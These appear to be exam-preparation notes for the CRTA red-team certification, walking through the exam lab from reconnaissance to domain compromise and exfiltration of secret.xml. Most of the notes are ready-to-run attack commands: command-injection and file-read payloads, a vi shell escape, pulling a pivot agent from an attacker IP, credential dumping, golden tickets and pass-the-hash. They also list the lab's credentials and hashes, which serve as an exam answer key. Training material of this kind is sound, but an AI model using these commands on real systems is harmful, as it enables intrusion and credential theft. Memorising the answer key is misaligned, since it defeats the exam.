General Notes from CRTA Course

Red Team Operations Guide

Comprehensive Methodology
REFER TO: https://www.netrunners.in/

CRTA Exam - Red Team Operations Guide

Final Attempt Preparation - Comprehensive Methodology

🎯 Exam Overview

- **Duration**: 6 hours hands-on
- **Goal**: Exfiltrate `secret.xml` file from end servers
- **Attempts**: 2 reverts available (use cautiously)
- **Target**: External & Internal AD Red Teaming
- **Key Ports**: 8091 (monitoring software), 23100 (file monitoring)

Phase 1: Information Gathering

Network Reconnaissance

```
# Full network scan
nmap -sS -sC -sV -p- -T4 --min-rate=7589 -vv 172.26.10.0/24

# Host discovery
nmap -sn 192.168.80.0/24

# Targeted scan for common ports
nmap -sS -sC -sV -p 22,80,443,8080,8091,23100 -T4 172.26.10.0/24

# UDP scan for additional services
nmap -sU --top-ports 1000 -T4 172.26.10.0/24
```

```
# Service enumeration
nmap -sV --version-intensity 9 -p <discovered_ports> <target_ip>
```

Web Directory Enumeration

```
# Primary gobuster scan
gobuster dir -u http://<target_ip>:8091/ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
txt,php,conf,json,xml,bak --exclude-length 2759 -t 64

# Assets directory enumeration
gobuster dir -u http://<target_ip>:8091/assets -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
txt,php,conf,json,xml,bak --exclude-length 2759 -t 64

# Flags directory enumeration
gobuster dir -u http://<target_ip>:8091/assets/flags -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
txt,php,conf,json,xml,bak --exclude-length 2759 -t 64

# Alternative wordlists
gobuster dir -u http://<target_ip>:8091/ -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x
txt,php,conf,json,xml,bak,css -t 64

# File-specific enumeration
gobuster dir -u http://<target_ip>:8091/ -w
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files.txt -t
64
```

File and Credential Discovery

```
# Look for sensitive files
curl -s http://<target_ip>:8091/dummy.css
curl -s http://<target_ip>:8091/assets/
curl -s http://<target_ip>:8091/assets/flags/

# Base64 decode discovered credentials
echo "REJfUEBzc3cwcmQh" | base64 -d

# Check for AWS keys or other sensitive data
grep -i "AKIA" <discovered_files>
grep -i "secret" <discovered_files>
grep -i "password" <discovered_files>
```

Phase 2: Initial Access & Web Application Exploitation

HotHost Web Application

```
# Login attempts
curl -X POST http://<target_ip>:8091/login -d
"username=admin&password=Very3stroungPassword" -H "Content-Type:
application/x-www-form-urlencoded"

# Check user roles
curl -s http://<target_ip>:8091/profile -H "Cookie: session=<session_cookie>"

# Route enumeration for system files
curl -s http://<target_ip>:8091/pug
curl -s http://<target_ip>:8091/pug?file=../../../../etc/passwd

# Monitor system files route
curl -s "http://<target_ip>:8091/pug?template=../../../../etc/passwd"
```

Command Injection via Web Forms

```
# Test newsletter email field for command injection
# Intercept with Burp Suite and test payloads:
email=test@test.com; whoami
email=test@test.com; cat /etc/passwd
email=test@test.com; id

# Look for command output in response
```

File System Access

```
# Direct file access via monitoring port
curl -s "http://<target_ip>:23100/fetch?url=file:///hostfs/etc/passwd"
curl -s "http://<target_ip>:23100/fetch?url=file:///etc/passwd"

# Alternative payloads
curl -s "http://<target_ip>:8091/pug?file=file:///etc/passwd"
curl -s "http://<target_ip>:8091/render?template=../../../../etc/passwd"

# Log file enumeration
curl -s "http://<target_ip>:23100/fetch?url=file:///var/log/auth.log"
curl -s "http://<target_ip>:23100/fetch?url=file:///var/log/syslog"
```

```
curl -s "http://<target_ip>:23100/fetch?
url=file:///var/log/apache2/access.log"
```

Phase 3: Privilege Escalation

User Enumeration

```
# Extract user information
curl -s "http://<target_ip>:23100/fetch?url=file:///etc/passwd" | grep app-
admin
curl -s "http://<target_ip>:23100/fetch?url=file:///etc/shadow"

# Check sudo privileges
curl -s "http://<target_ip>:23100/fetch?url=file:///etc/sudoers"

# Common credential locations
curl -s "http://<target_ip>:23100/fetch?url=file:///home/app-
admin/.bash_history"
curl -s "http://<target_ip>:23100/fetch?url=file:///root/.bash_history"
```

Credential Discovery

```
# Known credentials from exam attempts
# app-admin: @dmin@123
# HotHost password: Very3stroungPassword
# sync_user: Summer@2025
# privilege: Admin@962

# Test SSH access
ssh app-admin@<target_ip>
ssh privilege@<target_ip>
# Password: @dmin@123 or Admin@962

# Check sudo capabilities
sudo -l
# Expected: /usr/bin/vi
```

Vi Privilege Escalation

```
# Once logged in as app-admin with vi sudo access
sudo /usr/bin/vi /etc/passwd
```

```
# In vi, escape to shell
:!/bin/bash

# Alternative vi escalation
sudo /usr/bin/vi
:set shell=/bin/bash
:shell
```

Phase 4: Browser Data Mining & Network Discovery

Firefox Profile Analysis

```
# Find Firefox profiles
sudo find / -iname "*firefox*" 2>/dev/null
sudo find / -type d -name "*.default-release" 2>/dev/null

# Navigate to active profile
cd /home/privilege/.mozilla/firefox/b2rri1qd.default-release

# Extract bookmarks and history
sqlite3 places.sqlite
sqlite> .tables
sqlite> select * from moz_bookmarks;

# Look for credentials in bookmarks
# Common pattern: http://john:User1@#$%6@192.168.98.30
```

Log Analysis

```
# Analyze auth.log for IP addresses
grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" /var/log/auth.log
grep -i "10.10.10" /var/log/auth.log

# Common internal IP ranges to look for
grep -E "(10\.10\.10\.|172\.16\.|192\.168\.)" /var/log/auth.log
```

Phase 5: Network Pivoting & Lateral Movement

Method 1: Using Ligolo-ng

Ligolo Setup on Attacker Machine

```
# Attacker machine setup
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
chmod +x proxy

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
chmod +x agent

# Network interface setup
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip route del 192.168.98.0/24 dev tun0
sudo ip link set ligolo up
sudo ip route add 192.168.98.0/24 dev ligolo

# Start proxy
./proxy -selfcert -laddr 0.0.0.0:443
```

Agent Deployment in Victim Machine

```
# Serve agent from attacker machine
python3 -m http.server 8899

# Download and execute on victim
wget http://10.10.200.225:8899/agent
./agent -connect 10.10.200.225:443 -ignore-cert

# Activate tunnel
session
list_tunnels
start
```

Secondary Target Enumeration

```
# Scan discovered network (192.168.98.0/24)
nmap -v -sn 192.168.98.0/24 2>/dev/null
nmap -sS -sC -sV -p 445,3389,5985 192.168.98.0/24
```

```
# Identify key targets
# .2 - Domain Controller
# .30 - MGMT server
# .120 - Child Domain Controller

# Web service enumeration
curl -s http://10.10.10.20/
gobuster dir -u http://10.10.10.20/ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -
t 64

# Check for elfinder
curl -s http://10.10.10.20/elfinder/
curl -s http://10.10.10.20/elfinder/files/
curl -s http://10.10.10.20/elfinder/files/AD_Resources.txt
```

Method 2: Proxychains

Pivoting into Restricted Subnet with SSH + Proxychains

- **Attack Box Network**: `192.168.10.0/24`
- **Accessible Machine (DC)**: `192.168.10.100` (reachable via SSH with valid creds)
- **Target Subnet**: `10.10.1.0/24` (only accessible through `192.168.10.100`)

Goal: Use **proxychains** to pivot traffic into the `10.10.1.0/24` subnet.

Step 1: Create a Dynamic SOCKS Proxy via SSH

Run the following command from your attack box:

```
ssh -D 1080 -q -C -N user@192.168.10.100
```

Step 2: Configure Proxychains

Edit the configuration file:
`sudo nano /etc/proxychains.conf`
At the bottom, add:
`[ProxyList] socks5 127.0.0.1 1080`

Step 3: Run Tools Through Proxychains

Now you can pivot into `10.10.1.0/24` using proxychains.

```
proxychains nmap -sT -Pn 10.10.1.0/24
```

Example output: Discovered live host `10.10.1.100`

```
proxychains nc -nv 10.10.1.100 445
proxychains nc -nv 10.10.1.100 80
```

Phase 6: SMB Password Spraying & Credential Harvesting

Password Spraying with CrackMapExec

```
# Create target list
vim targets.txt
192.168.98.2
192.168.98.30
192.168.98.120

# Spray discovered credentials
crackmapexec --verbose smb targets.txt -u john -p 'User1@#$%6'
crackmapexec --verbose smb targets.txt -u corpmngr -p 'User4&*&*'

# Look for [Pwn3d!] indicators showing local admin access
### LSA Secrets Dumping
```bash
# Dump LSA secrets from compromised machine
crackmapexec --verbose smb 192.168.98.30 -u john -p 'User1@#$%6' --lsa

# Extract clear-text passwords from output
# Look for: corpmngr:User4&*&*

# Update /etc/hosts for domain resolution
vim /etc/hosts
192.168.98.2 warfare.corp dc01.warfare.corp
192.168.98.120 child.warfare.corp cdc.child.warfare.corp
```

Phase 7: Active Directory Attacks
```

Domain Controller Discovery

```
# Identify Domain Controller
nslookup <domain_name>
dig <domain_name>

# Common DC IP from exam: 10.10.10.100
nmap -sS -sC -sV -p 88,135,139,389,445,636,3268,3269 10.10.10.100
```

KRBTGT Hash Extraction

```
# Extract krbtgt hash from Child DC
impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp
-just-dc-user 'child\krbtgt'

# Expected output:
#
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e57dd34c1871b7a23fb17a77dec9b900::
:
# krbtgt:aes256-cts-hmac-sha1-
96:ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2
```

SID Enumeration

```
# Extract Child domain SID
impacket-lookupsid child/corpmngr:'User4&*&*'@child.warfare.corp

# Extract Parent domain SID
impacket-lookupsid child/corpmngr:'User4&*&*'@warfare.corp

# Expected SIDs:
# Parent SID: S-1-5-21-3375883379-808943238-3239386119
# Child SID: S-1-5-21-3754860944-83624914-1883974761
```

Golden Ticket Forging

```
# Forge golden ticket
impacket-ticketer -domain child.warfare.corp -aesKey
ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid
S-1-5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid
S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 'corpmngr'
```

```
# Export ticket
export KRB5CCNAME=corpmngr.ccache

# Request service ticket
impacket-getST -k -no-pass -spn CIFS/dc01.warfare.corp
corpmngr@child.warfare.corp
export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache
```

Parent DC Compromise

```
# Extract Administrator hash from Parent DC
impacket-secretsdump -k -no-pass dc01.warfare.corp -just-dc-user
'warfare\Administrator' -debug

# Expected hash:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b2ab0552928c8399da5161a9eb7
fd283:::

# Access Parent DC
impacket-psexec -debug 'warfare/Administrator@dc01.warfare.corp' -hashes
aad3b435b51404eeaad3b435b51404ee:b2ab0552928c8399da5161a9eb7fd283
```

Kerberos Attacks

```
# ASREPRoast (if applicable)
impacket-GetNPUsers <domain>/<username> -no-pass -dc-ip 10.10.10.100

# Kerberoasting
impacket-GetUserSPNs <domain>/<username>:<password> -dc-ip 10.10.10.100 -
request

# DCSync attack (if high privileges)
impacket-secretsdump <domain>/<username>:<password>@10.10.10.100

# Extract krbtgt hash
impacket-secretsdump <domain>/<username>:<password>@10.10.10.100 | grep krbtgt
```

SMB Enumeration

```
# SMB shares enumeration
smbclient -L //10.10.10.100 -U <username>%<password>
smbmap -H 10.10.10.100 -u <username> -p <password>
```

```
# Access shares
smbclient //10.10.10.100/C$ -U <username>%<password>
smbclient //10.10.10.100/ADMIN$ -U <username>%<password>
```

Credential Extraction

```
# Using sync_user credentials
impacket-secretsdump <domain>/sync_user:Summer@2025@10.10.10.100

# Look for Administrator hash
# Expected from exam: 3d15cb1141d579823f8bb08f1f23e316

# Pass-the-hash
impacket-psexec -hashes :3d15cb1141d579823f8bb08f1f23e316
Administrator@10.10.10.100
```

Phase 8: Data Exfiltration

File System Navigation

```
# Navigate to Administrator desktop
cd C:\Users\Administrator\Desktop

# List files
dir
ls -la

# Look for secret.xml
find . -name "secret.xml" -type f
dir /s secret.xml

# Alternative locations
cd C:\Users\Administrator\Documents
cd C:\temp
cd C:\Windows\Temp
```

File Transfer Methods

```
# SMB copy
copy secret.xml \\<attacker_ip>\share\
```

```
# Base64 encode and copy
certutil -encode secret.xml secret_b64.txt
type secret_b64.txt

# PowerShell download
powershell -c "Invoke-WebRequest -Uri 'http://<attacker_ip>/secret.xml' -
OutFile 'C:\temp\secret.xml'"

# Python HTTP server (on attacker)
python3 -m http.server 8000
```

🔧 Essential Tools & Commands

Impacket Suite

```
# Install if needed
pip3 install impacket

# Key tools
impacket-secretsdump
impacket-psexec
impacket-smbexec
impacket-wmiexec
impacket-GetUserSPNs
impacket-GetNPUsers
impacket-ticketer
impacket-getST
impacket-lookupsid
```

Network Pivoting

```
# Ligolo-ng for network pivoting
# Chisel as alternative
# SSH tunneling for simple cases
```

Web Exploitation

```
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
```

```
# curl for quick requests
# gobuster for directory enumeration
```

Network Tools

```
# nmap for port scanning
# masscan for fast scanning
# netcat for connections
# proxychains for pivoting
```

SMB Tools

```
# crackmapexec for password spraying and lateral movement
# smbclient for share access
# smbmap for share enumeration
```

🎯 Key Exam Patterns

Common Credentials

- **HotHost**: Very3stroungPassword
- **app-admin**: @dmin@123
- **privilege**: Admin@962
- **john**: User1@#$%6
- **corpmngr**: User4&&
- **sync_user**: Summer@2025
- **Base64 encoded**: REJfUEBzc3cwcmQh → DB_P@ssw0rd!

Common Ports

- **8091**: NodeJS monitoring application
- **23100**: File monitoring service
- **80/443**: Web services
- **445**: SMB
- **88**: Kerberos

Common Files/Routes

- **/assets**: Static files directory
- **/pug**: Template rendering (LFI vulnerable)
- **/elfinder**: File manager
- **dummy.css**: Contains sensitive information
- **AD_Resources.txt**: Contains sync_user credentials
- **places.sqlite**: Firefox bookmarks and history

Common Paths

- **C:\Users\Administrator\Desktop**: Final target location
- **/var/log/auth.log**: Contains internal IP addresses
- **/etc/passwd**: System users
- **Director of Engineering salary**: 189500
- **/home/privilege/.mozilla/firefox/**: Firefox profile data

Network Segments

- **172.26.10.0/24**: Initial external network
- **192.168.80.0/24**: First internal network
- **192.168.98.0/24**: Second internal network (requires pivoting)
- **10.10.10.0/24**: Final target network

⚠️ Critical Reminders

1. **Time Management**: 6 hours total - allocate wisely
2. **Revert Attempts**: Only 2 available - use carefully
3. **Flag Order**: Submit flags as you discover them
4. **Documentation**: Keep notes of working commands
5. **Breaks**: Take breaks to stay fresh
6. **Final Goal**: Exfiltrate secret.xml file
7. **Network Pivoting**: Essential for accessing internal networks
8. **Browser Data**: Check Firefox profiles for additional credentials
9. **SMB Spraying**: Use crackmapexec for efficient credential testing
10. **Golden Tickets**: Master technique for AD privilege escalation

---

🚀 Execution Checklist

- [ ] Network scan (172.26.10.0/24)
- [ ] Identify monitoring software (port 8091)
- [ ] Web directory enumeration
- [ ] Find sensitive files (dummy.css, etc.)
- [ ] Extract credentials and decode Base64
- [ ] Access HotHost application
- [ ] Exploit file inclusion vulnerabilities
- [ ] Test command injection in web forms
- [ ] Escalate privileges via app-admin
- [ ] Mine Firefox browser data for credentials
- [ ] Set up network pivoting (ligolo-ng)
- [ ] Discover internal networks (192.168.98.0/24)
- [ ] SMB password spraying with crackmapexec
- [ ] Dump LSA secrets for additional credentials
- [ ] Access file manager (elfinder)
- [ ] Extract sync_user credentials
- [ ] Attack Domain Controller (10.10.10.100)
- [ ] Extract krbtgt hash from Child DC
- [ ] Perform SID enumeration
- [ ] Forge Golden Ticket
- [ ] Compromise Parent DC
- [ ] Extract Administrator hash
- [ ] Access Administrator desktop
- [ ] Locate and exfiltrate secret.xml

Good luck on your final attempt! Stay methodical and follow the patterns you've learned.